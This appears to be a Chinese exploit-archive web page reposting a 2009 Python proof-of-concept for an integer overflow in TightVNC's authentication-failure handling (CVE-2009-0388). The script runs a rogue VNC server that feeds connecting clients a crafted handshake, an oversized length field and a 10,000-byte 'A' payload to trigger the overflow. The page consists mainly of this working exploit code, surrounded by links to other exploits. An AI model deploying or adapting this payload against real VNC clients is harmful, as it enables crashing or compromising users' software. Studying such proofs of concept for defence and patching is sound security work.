首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TightVNC Authentication Failure Integer Overflow PoC
来源:digital.desi@in.com 作者:desi 发布时间:2009-02-10  

#!/usr/bin/env python

#digital.desi@in.com

# Modified  Andres Lopez Luksenberg's exploit for Authentication Failure scenario in TightVNC. BID 33569 CVE-2009-0388

import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
  clientsocket, clientaddres = serversocket.accept()
  
  data = 'RFB 003.008\n'
  clientsocket.sendall(data)

  data_cli = clientsocket.recv(1024)
  print data_cli

  data = '\x02\x02\x10'
  clientsocket.sendall(data)

  data_cli = clientsocket.recv(1024)

  data = '\x00'*4
  clientsocket.sendall(data)

  data = ('\x00'*3)+'\x01'
  clientsocket.sendall(data)

  data = ('\x00'*3)+'\x02STDVVNCAUTH_'
  clientsocket.sendall(data)

  data_cli = clientsocket.recv(1024)

  data = ('\x01'*16)
  clientsocket.sendall(data)

  data_cli = clientsocket.recv(1024)
  
  data = '\x00\x00\x00\x01'
  clientsocket.sendall(data)

  data = '\xf0\xff\xff\xff'
  clientsocket.sendall(data)

  data = 'A'*10000
  clientsocket.sendall(data)

clientsocket.close()
serversocket.close()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Squid < 3.1 5 HTTP Version Num
·Hedgedog CMS version 1.21 remo
·Hedgedog-CMS <= 1.21 Remote Co
·Php168 v2008 权限提升漏洞
·PHP Director <= 0.21 Remote Co
·FeedDemon <=2.7 OPML Outline T
·w3bcms <= v3.5.0 Multiple Remo
·q-news 2.0 Remote Command Exec
·IF-CMS <= 2.0 (frame.php id) B
·Fluorine CMS 0.1 rc 1 FD / SQL
·Orbit Downloader V2.8.5 Malfor
·ProFTPd with mod_mysql Authent
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved